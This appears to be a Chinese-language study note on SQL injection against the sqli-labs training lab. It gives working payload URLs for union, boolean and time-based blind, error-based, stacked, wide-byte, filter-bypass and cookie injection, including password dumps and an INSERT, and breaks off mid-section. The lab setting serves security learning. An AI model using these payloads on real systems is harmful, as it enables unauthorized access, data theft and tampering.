一、 联合查询注入union(less-1)
1. union操作符用于合并两个或多个select语句结果集;
2. union后的select语句必须拥有和最前的select语句拥有相同数量的字段,字段类型也要相似对应,每条select语句中的字段的顺序必须相同;
3. union结果集不允许重复值,如果要允许重复值使用union all;
4. 只有最后一个select子句允许order by和limit;
select * from users order by id union select 1, 2, 3; -- 这样写会报错

5. 判断是否有用英文单引号'做字符串,即判断是否是字符型注入;
# 若程序中的value有闭合的单引号,在请求后添加单引号,则造成单引号无闭合报错,即用了单引号做字符串 http://127.0.0.1/sqli-labs/Less-1/?id=-1'
# 通过SQL注释拼接,这样就可以注释掉原来的闭合单引号,使其闭合不报错 http://127.0.0.1/sqli-labs/Less-1/?id=-1'--+
# less-2中添加单引号的回显信息是多了单引号的意思,为数值型注入


6. 这种用单引号闭合做字符串的,union可以拼接进动态数据手工输入单引号和注释之间;
# 查看id=1时返回的数据的数据 -- 返回的是id为1的用户密码:Dump
http://127.0.0.1/sqli-labs/Less-1/?id=1 # 通过拼接查看id=-1 union id=2返回的数据 --返回的是id为2的用户名密码:Angelina
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select * from users where id = 2 --+ # 除了单引号闭合之外还有双引号,括号,此外还有无闭合的数值型注入,直接拼接也不需要注释 # 在url中注释使用--+实际上+转义后是空格,如果使用#注释,则需要填写为%23,因为get请求无法urlencode井号为%23,#在url中视为锚,用来定点,所以注入时坚持用#注释,则写为%23 # 在post请求中,注释用--空格即可;

7. 通过order by确定主select语句有多少列;
# firefox里有个hackbar插件,使用order by二分法进行注入可以快速确定列数,这里通过手工输入;
# 判断是否有5列,如果没有则报错 -- Unknown column '5' in 'order clause'
http://127.0.0.1/sqli-labs/Less-1/?id=-1' order by 5 --+ # 判断是否有4列,如果没有则报错 -- Unknown column '4' in 'order clause' http://127.0.0.1/sqli-labs/Less-1/?id=-1' order by 4 --+
# 判断是否有3列,如果没有则报错,有则输出,并确定有3列 http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+



8. 判断哪些字段不是隐藏的,即显示内容在web页面上的是哪些字段;
# 动态值不存在于数据库表,这里是id=-1,由于输出为空则自然显示union后的select数据,否则会被对应id数据遮挡; http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, 3 --+ # 通过下图很明显的可以看出id是隐藏的,第二三个字段可以用来暴数据;

9. 曝数据库版本;
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, version() --+

10. 曝当前网站的数据库名和当前登录用户;
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, database(), user() --+

11. 爆该SQL服务器下的其他数据库名;
# 需要稍微了解下MySQL自带的information_schema库,TABLES表存储了MySQL数据库中所有的表信息 # TABLES表中的table_schema字段实际上是数据库名,table_name是表名 # 在MySQL端中的查询方式 select * from users where id = -1 union (select 1, 2, group_concat(distinct table_schema) from information_schema.tables) # 在web端通过union拼接进去 http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, group_concat(distinct table_schema) from information_schema.tables --+

12. 曝当前库的表名
#MySQL端查询方式 select * from users where id = -1 union (select 1, 2, group_concat(table_name) from information_schema.tables where table_schema = database()); # web端通过union拼接 http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema = database() --+


13. 爆某库某表字段
# information_schema库中有一个COLUMNS表,它存储了所有字段信息数据 # table_schema是数据库名, table_name是表名,column_name是字段名 # MySQL端的写法 select * from users where id = -1 union (select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users"); # web端URL上拼接的写法 http://127.0.0.1/sqli-labs/Less-1/?id=-1' union (select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users") --+


14. 爆值
# 通过上边的爆库报表的行为,这里可以定义为知道表名爆值 # 英文冒号的十六进制的表现形式是:0x3a
select * from users where id = -1 union (select 1, 2, group_concat(username, 0x3a, password) from users); http://127.0.0.1/sqli-labs/Less-1/?id=-1' union (select 1, 2, group_concat(username, 0x3a, password) from users) --+

二、布尔盲注(less-5)(盲注就算是通过二分法的方式仍旧会花上大量的时间,所以最好用工具或者自己写脚本来猜测信息)
拼接:and、or(一般只用and); 布尔:true、false; 使用盲注的原因:在有些情况下,后台使用了错误消息屏蔽方法屏蔽了回显的报错即没有信息回显到前端上,在此时无法根据报错信息来进行注入的判断; 布尔盲注的主要表现: 0. 没有报错信息; 1. 不管是正确的输入,还是错误的输入,都只显示两种情况(可以认为是0或者1); 2. 在正确的输入下,输入and 1=1/and 1=2发现可以判断;
1. 判断是否有注入,在get请求后添加英文单引号,查看回显信息;
http://localhost/sqli-labs/Less-5/?id=1'

2. 根据以下方式判断是盲注;
# 正确true,有提示You are in ...... http://localhost/sqli-labs/Less-5/?id=1' and 1=1 --+ # 类似输入order by返回的也是以上信息,所以使用union无用 # 错误false,不提示任何信息 http://localhost/sqli-labs/Less-5/?id=1' and 1=2 --+


3. 通过left函数判断数据库信息
left(str, length):从左开始,截取str字符串length长度,如:left('abcde', 2)输出是ab # 从a-z,0-9判断 # 判断第一位,如果是该值就提示信息You are in ......,如果不是就无提示 # 无提示 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 1) = 'a' --+ # 有提示 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 1) = 's' --+
# 由以上一个值一个值来判断能得到数据库的第一个值为s # 通过二分法的方式来获值 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 1) <= 'm' --+ # 以上输入若无提示,则说明数据库名称的第一个值再m之后 # 判断数据库名称第二位 http://localhost/sqli-labs/Less-5/?id=1' and left(database(), 2) <= 'sm' --+
# 若以上输入有提示,则说明数据库名称的第二个字符在m之前
4. 通过length函数判断数据库某信息的长度
length(str) # left函数只会一直猜测下去,只要前边的字符正确,后边无论位数是否正确都为true,所以需要用到length来判断信息长度 # 判断数据库名称长度 # 以下url无提示,则说明长度大于5 http://localhost/sqli-labs/Less-5/?id=1' and length(database()) <= 5 --+ # 以下url有提示,则说明长度在5到8之间,且是(5, 8]这样的区间,即长度可能值为6,7,8 http://localhost/sqli-labs/Less-5/?id=1' and length(database()) <= 8 --+
# 使用等值的方式判断是否有提示,有则得出长度 http://localhost/sqli-labs/Less-5/?id=1' and length(database()) = 6 --+ http://localhost/sqli-labs/Less-5/?id=1' and length(database()) = 7 --+
http://localhost/sqli-labs/Less-5/?id=1' and length(database()) = 8 --+ # 以上可以得出数据库名称的值是8
5. 使用substr和ascii函数猜测信息
substr(str, start[, length]): start不是从0开始,而是从1开始,length为截取长度,是个可选项 substr('security', 3, 3) -- 输出为cur
substr('security', 3) -- 输出为curity
ascii(str):返回字符串第一个字符的ASCII值 ascii('abcd') -- 输出为97
ascii('abc') -- 输出为97
ascii('123') -- 输出为49
# 猜测当前数据库第一个表的名称的第一个字符 # 通过返回的ascii值判断,ascii可显示字符的十进制是从32到126的,可查询ascii表来看 # 二分法第一次,是否大于等于79:(126-32)/2 + 32,有提示,说明字符在[79, 126]之间 http://localhost/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1), 1, 1)) >=79 --+ # 二分法第二次,是否大于等于102,无提示,说明字符在[79, 102)之间 http://localhost/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1), 1, 1)) >=102 --+
# 以此类推可以得到,第一个字符值为101,即e http://localhost/sqli-labs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 1), 1, 1)) =101 --+ # 猜测第二个字符,只要修改substr函数的start参数即可:substr(str, 2, 1) # 以此类推,可以得到表名 # 第二个表的获取需要先了解下limit # limit start, length # start:从0开始,当为0时可以省略,length:获取的长度,即值个数 # 举例:获取第一个值的方式 select table_name from information_schema.tables where table_schema = database() limit 1; select table_name from information_schema.tables where table_schema = database() limit 0, 1; -- 这两个是SQL语句是等价的 # 举例:获取前面两个值的方式 select table_name from information_schema.tables where table_schema = database() limit 2; select table_name from information_schema.tables where table_schema = database() limit 0, 2; # 举例:获取第二个值的方式 select table_name from information_schema.tables where table_schema = database() limit 1, 1;


6. 使用正则猜测信息
# 首先要了解下正则表达式各种字符的意思 # 猜测数据库名称或者用户名称可以用这种简单的写法(有内置函数的写法) # select 函数 regexp '正则表达式'; -- 这个语句返回的是0或1,即存在就返回1,不存在返回0
# 数据库名的第一个字符,也可以通过二分的方式,true为1,false为0 select database() regexp '^[a-z]'; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select database() regexp '^[a-m]') --+ # 猜某表的列名 # select 1 from information_schema.columns where table_schema = 数据库名 and table_name = 表名 and column_name regexp '正则表达式'; # 上边的写法在存在的时候返回1,不存在的时候返回empty,这样拥有url中可以作为判断 # 列名的第一个字符,用二分法在数据库中可能会返回多个值,所以用limit限制掉,可以解释为数据库的某表的第某个字段如果开始字符以某表示的值是否存在 select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^[n-z]' limit 1; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^[n-z]' limit 1) --+
# 列名的最后一个字符 select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '[a-m]$' limit 1; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '[a-m]$' limit 1) --+ # 列名的第二个字符 select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^u[a-m]' limit 1; http://localhost/sqli-labs/Less-5/?id=1' and 1 = (select 1 from information_schema.columns where table_schema = database() and table_name = 'users' and column_name regexp '^u[a-m]' limit 1) --+
# 以此类推得所有字符

7. 使用函数ord()和mid()猜数据
# mid的用法和substr用法一样 mid(str, start[, length]):start不是从0开始,而是从1开始,length为截取长度,是个可选项 mid('security', 3, 3) -- 输出为cur
mid('security', 3) -- 输出为curity
# ord的用法和ascii用法一样 # 猜数据 # 猜security.users表的username列的第一个值的第一个字符,二分法的方式,这个和之前那个一样的不多说 select ord(mid((select ifnull(cast(username as char), 0x20) from users limit 0, 1), 1, 1)); -- 返回的是ascii值
http://localhost/sqli-labs/Less-5/?id=1' and (select ord(mid((select ifnull(cast(username as char), 0x20) from users limit 0, 1), 1, 1))) >= 79 --+ # isfull(expression, alt_value),两个值都为必填项,若expression为null时,返回alt_value # cast(字段名 as 类型),类型转换
三、基于时间的盲注
# 使用影响系统运行时间的函数后,根据每次页面返回的时间,判断注入的语句是否执行成功 # 时间盲注常用的函数 if(expr, val1, val2):如果表达式expr成立即为true的情况,返回val1,否则返回val2 substr(str, start, length):这个在布尔盲注上有写 benchmark(counttimes, expr):检测表达式expr性能的函数,时间盲注通过增加counttimes(次数)值延迟时间 sleep(duration):在duration秒后才运行,要注意的是,这里是查找多少条记录都是*duration的 # 举例,返回记录数是14条,duration=0.01
select *, sleep(0.01) from users; -- 时间延迟是0.14

1. 常用格式
select * from table where id = 1 and if(expr, sleep(duration), var2);
2. 注入流程
# 寻找注入点,get请求,看到url有参数,猜想存在SQL注入 # 确定注入类型,在原来的payload即id=1后添加英文单引号',若报错,说明存在字符注入 # 是否有回显:payload即id=1后添加' and 1 = 2或者'and 1 = 1的方式,没有回显,使用盲注,这里使用时间盲注 # 判断sleep函数是否有被过滤掉:payload为id=1' and sleep(2) -- 在network中查看是否有延迟2s,如果有,则说明sleep没有被过滤
select * from users where id = 1 and sleep(2); http://localhost/sqli-labs/Less-5/?id=1' and sleep(2) --+


3. 获取数据库名称长度
# 判断长度 select * from users where id = 1 and if(length(database()) >= 5, sleep(3), 1); -- 如果长度大于等于5则延迟三秒,否则立即返回
select * from users where id = 1 and if(length(database()) < 8, sleep(3), 1); -- 如果长度小于8则延迟3s,否则立即返回
http://localhost/sqli-labs/Less-5/?id=1' and if(length(database()) = 8, sleep(3), 1) --+ # 以此推论,能得出length(database()) == 8

4. 获取数据库名称值
# 使用函数ascii和substr进行判断,结合二分法缩短时间 select * from users where id = 1 and if(ascii(substr(database(), 1, 1)) >= 79, sleep(3), 1); -- 如果区间正确则延迟,错误就立即回显
# 通过缩小区间的方式,如果有延迟则正确 http://localhost/sqli-labs/Less-5/?id=1' and if(ascii(substr(database(), 1, 1)) = 115, sleep(3), 1) --+ # 以此推论,数据库名称的第一个字符的ascii为115,通过ascii表可知该字符是s # 通过修改substr的start和length值确定其他位置的字符
5. 当sleep和benchmark被屏蔽时,第一种绕过限制策略:叠加全排列
select * from users where id = 1 and if(length(database()) = 8, (select count(*) from information_schema.columns a, information_schema.columns b, users), 1); http://localhost/sqli-labs/Less-5/?id=1' and if(length(database()) = 8, (select count(*) from information_schema.columns a, information_schema.columns b, users), 1) --+ # 控制表的的数量,笛卡尔积大起来,时间长到可以怀疑人生,太小又看不出效果,需尝试

6. 当sleep和benchmark被屏蔽时,第二种绕过限制策略:get_lock()加锁机制
# 不大懂锁机制包括get_lock和release_lock,以后再补;
7. 时间盲注的优缺点
利用时间盲注最大的有点是对日志几乎没什么影响,特别是基于错误的攻击相比。但是,在必须使用大量查询或CPU密集型函数如benchmark的情况下,系统管理员可能会知道正在发生的注入;
测试web应用程序的时候,由于服务器负载和网络速度的干扰,实际上延迟的时间很难把握。所以延迟时间需要足够长,但又要在合理的时间内完成,这个度需要自己控制;
四、报错注入
1. 通过floor函数报错
# floor报错包括以下内容 floor(num):向下取整 rand():产生一个0-1的随机小数 rand(0):伪随机数,生成值固定不变 floor(rand(0)*2):向下取整后,获得的值只有0和1 count(0):统计元素个数 concat(v1, v2, v3,...):将符合条件的参数值进行拼接 group by column:对相同column进行分组 # 爆数据库名称 select concat(database(), 0x3a, floor(rand(0)*2)) abc, count(*) from information_schema.tables group by abc; http://localhost/sqli-labs/Less-5/?id=1' and (select 1 from (select concat(database(), 0x3a, floor(rand(0)*2)) abc, count(*) from information_schema.tables group by abc) a) --+ # 爆表 http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand(0)*2))name from information_schema.tables group by name)b) --+
# 以此类推,其他信息也可以通过这种方式来获取

2. 通过extractvalue函数报错
extractvalue(xml_frag, xpath_expr):使用XPath表示法从XML字符串中提取值 xml_frag:可以传入目标xml文档,xpath_expr:xpath路径法表示的查找路径 # 举例 select extractvalue('<a><b></b></a>', '/a/b'); -- 就是寻找一段xml文档内容中a节点下的b节点,如果xpath格式语法错误,就会报错,利用这个报错特性来猜测内容
# 错误回显 select extractvalue('<a><b></b></a>', '~'); # 通过concat拼接得到自己要的信息 # 爆当前数据库名称 select extractvalue('<a><b></b></a>', concat('~', database())); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select 1 from (select extractvalue('<a><b></b></a>', concat('~', database()))) abc) --+ # 爆当前数据库的表名 select extractvalue('<a><b></a></b>', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database()))); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select extractvalue('<a><b></a></b>', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database())))) --+



3. 通过updatexml函数报错
updatexml(xml_target, xpath_expr, new_xml) xml_target:需要操作的xml片段,xpath_expr:需要更新的xml路径(xpath的格式),new_xml:更新后的内容 # 通过输入输出查找时如何运行的 select updatexml('<a><b><c></a></b></c>', '/a', '<e>zzz</e>') val; -- 输出值val = <e>zzz</e>
select updatexml('<a><b><c></a></b></c>', '/a/b/c', '<e>zzz</e>') val; -- 输出值val = <a><b><e>zzz</e></b></c>
select updatexml('<a>abcd<b><c></a></b></c><d>hhh</d>', '/d', '<e>zzz</e>') val; -- 输出值val = <a>abcd<b><c></a></b></c><e>zzz</e>
select updatexml('<a><b><c></a></b></c>', '//c', '<e>zzz</e>') val; -- 输出值val = <a><b><e>zzz</e></b></c>
# 报错方式和extractvalue一样,只要xpath路径语法错误,就会报错 # 爆数据库的名称和版本 select updatexml('abc', concat('~', database(), 0x3a, version()), 'abc'); select updatexml('abc', concat('~', (select database()), 0x3a, (select version())), 'abc'); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select 1 from (select updatexml('abc', concat('~', database(), 0x3a, version()), 'abc')) abc) --+ # 爆数据库表 select updatexml('abc', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database())), 'abc'); http://127.0.0.1/sqli-labs/Less-5/?id=-1' and (select updatexml('abc', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema = database())), 'abc')) --+



4. 还有其他函数报错,这里不写,因为不熟悉理解不透彻;
五、堆叠注入(stacked injection)
堆叠注入可以说是联合注入的升级版,union只能拼接select语句,而堆叠却可以拼接执行任意语句; 堆叠注入的局限性在于不是每个环境都可以执行成功的,可能受到API或者数据库引擎不支持的限制,当然权限不足也可解释为为什么攻击者无法修改数据或者调用一些程序; 在web系统中,代码通常只返回一个查询结果,堆叠注入的第二个语句产生的错误或者结果只能被忽略。隐藏读数据前尽量使用其他注入获得数据库相关信息; PHP中为了防止SQL注入机制,往往使用调用数据库的函数mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以说堆叠注入的使用非常有限,一旦能被使用,将可能对网站造成十分大的危害; select load_file('路径'):里面用斜杠/,不要用反斜杠\,否则返回null;当然返回null的可能和路径有关,show global variables like '%secure%';返回secure_file_priv值无值,则任何路径均可,有则必须固定,null就自行修改; # 这里使用less-8,这里的查询方法使用mysqli_multi_query(),允许用分号有多条SQL; http://127.0.0.1:8088/sqli-labs/less-38/?id=1';insert into users values(20,'xiaoxiao', 'xiaoxiao') --+

六、宽字节(双字节)处理转义
在PHP中开启了魔术引号后,用户的输入会自动加上addslashes(),会把特殊字符进行转义,比如在url输入单引号,转以后是\',也就是英文单引号被反斜杠干掉了,无法注入闭合那么宽字节注入就是想办法让转义单引号的反斜杠干掉;
即如果数据库采用gbk字符,那么就存在可能,方式和转义单引号差不多。gbk采用双字节表示,GBK编码范围:首字节:0x81~0xFE;尾字节:0x40~0xFE,英文字母用一个字节表示,但中文必须是两个,所以这里才去通过字节结合的形式把两个单字节合成中文干掉反斜杠;
?id=1%bf' # 经过转义上述payload会变成:?id=1%bf%5c%27 # %5c是单引号在经过服务器时转义加在它前边使它无法构成注入闭合 # %27是单引号 # 5c在gbk中,是合法的尾字节 # bf是合法的首字节 # BF5C会构成一个汉字:縗 # 通过这种方式可以消化掉反斜杠,最后payload是:?id=1縗' # 这种方式就能够继续爆数据了

实际上该漏洞也有了很好的解决方式:
使用mysql_set_charset(GBK)指定字符集
使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,使用mysql_set_charset可以确定当前字符集;
七、绕过空格过滤:%20的代替者%a0
因为空格的特殊和普遍使用,空格在程序中会被过滤,所以注入的时候遇到了空格被过滤了,可以使用%a0去代替%20,%a0输出来是一个�,一个不算汉字的中文字符,正则匹配的时候,因为是中文字符所以不会过滤掉,但在MySQL中,它不认这个中文字符,所以把它当做空格处理了;
八、cookie注入(less-20)
# 当get、post提交数据进行过滤,考虑cookie是否有对cookie提交的数据做过滤; # cookie注入的原理是修改cookie的值; # get请求可以通过在开发者控制台使用dom脚本来修改cookie值:javascript:alert(document.cookie="id="+escape("284"));,id是key,284是值; # post请求通过工具来修改cookie:比如fiddler、burpsuite、python的request模块,工具很多,选一个方便自己的来就好。get请求也可以通过这些方式来修改cookie值; # get请求:https://www.cnblogs.com/zlgxzswjy/p/6443767.html # post请求:less-20
1. 在less-20中,form表单,一个post请求,向里边写入单引号等造成注入的内容均会被过滤掉当成普通的字符,不匹配数据库内容,返回的信息均一样,不能进行盲注,尝试cookie注入;
2. 基本步骤
打开fiddler了工具,过滤直接获取sqli-labs的请求; 使用已知的账号和密码登录一次less-20; 在fiddler中设置请求发送前的断点,rules-automatic breakpoints-before requests; 在浏览器中刷新less-20页面或者在fiddler直接重新提交:右击提交账号密码的请求-replay-reissue request; 在fiddler的request raw中修改cookie的值,写法和之前的盲注一样; 修改cookie后,点击run to completion即可;
3. 单引号
# cookie值添加单引号,查看返回信息是否注入 Cookie: uname=Dumb' -- 返回limit的错误,注入成功

4. order by
# order by判断主select的列数 cookie: uname=Dumb' order by 3 # -- 返回信息和无修改的cookie的信息一样,所以列数可能是3也可能比3大,继续猜 cookie: uname=Dumb' order by 4 # -- 返回信息出现SQL错误,所以推断为3列

5. union爆数据
# 查看原始返回信息的情况,cookie的原值要修改成数据库没有的 # 爆数据库名,数据库版本,用户名 Cookie: uname=321' union select version(), user(), database() #

6. 报错注入之floor
# floor报错,爆数据库名 Cookie: uname

7. 通过以上实例可知,除了基础步骤外,SQL语句是没什么变化的;
另外request模块写的就下边这样简单:
